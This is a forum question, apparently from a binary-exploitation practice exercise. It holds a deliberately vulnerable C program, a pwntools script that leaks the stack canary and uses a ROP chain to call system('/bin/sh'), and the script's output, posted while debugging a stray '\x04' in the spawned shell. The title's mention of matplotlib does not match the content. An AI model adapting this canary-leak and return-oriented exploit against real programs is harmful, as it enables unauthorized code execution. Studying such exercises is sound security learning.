why eot character is inserted in shell - matplotlib

Question

I'm trying to exploit a process with pwntools.
#include<stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system#plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(": ".join([name, hex(addr)]))
buf = b'A'*0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00'+p.recvn(7))
slog('canary',cnry)
system_plt = e.plt['system']
nop_gadget = 0x000000000040114f # nop;ret
ret_gadget = 0x0000000000401333 # pop rdi;ret
binsh = 0x0000000000404058 # binsh = "/bin/sh";
print('system:', hex(system_plt))
print('binsh:', hex(binsh))
print('ret_gadget:', hex(ret_gadget))
print('nop_gadget:', hex(nop_gadget))
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8 + p64(nop_gadget) + p64(ret_gadget)+p64(binsh)+ p64(system_plt)
p.sendafter('Buf: ', payload)
pause()
stack frame process' main function has 0x40 size, and it is protected by ASLR, NX, stack canary. There's no pie.
I expect exploit code will overwrite return address to ret_gadget.
As soon as I get shell, '\x04' is inserted into the shell and the process is excuted again.
this is a result of exploit code
root#1dcf4a5a23f2:/root/dreamhack# python3 rtl.py
[+] Starting local process './rtl': pid 1721
[*] '/root/dreamhack/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] canary: 0xf363721ee4bd4400
system: 0x4010b4
binsh: 0x404058
ret_gadget: 0x401333
nop_gadget: 0x40114f
[*] Paused (press any to continue)
[*] Switching to interactive mode
sh: 1: \x04 not found
system#plt
[1] Leak Canary
Buf: $
Buf:
[2] Overwrite return address
Buf: $
[*] Got EOF while reading in interactive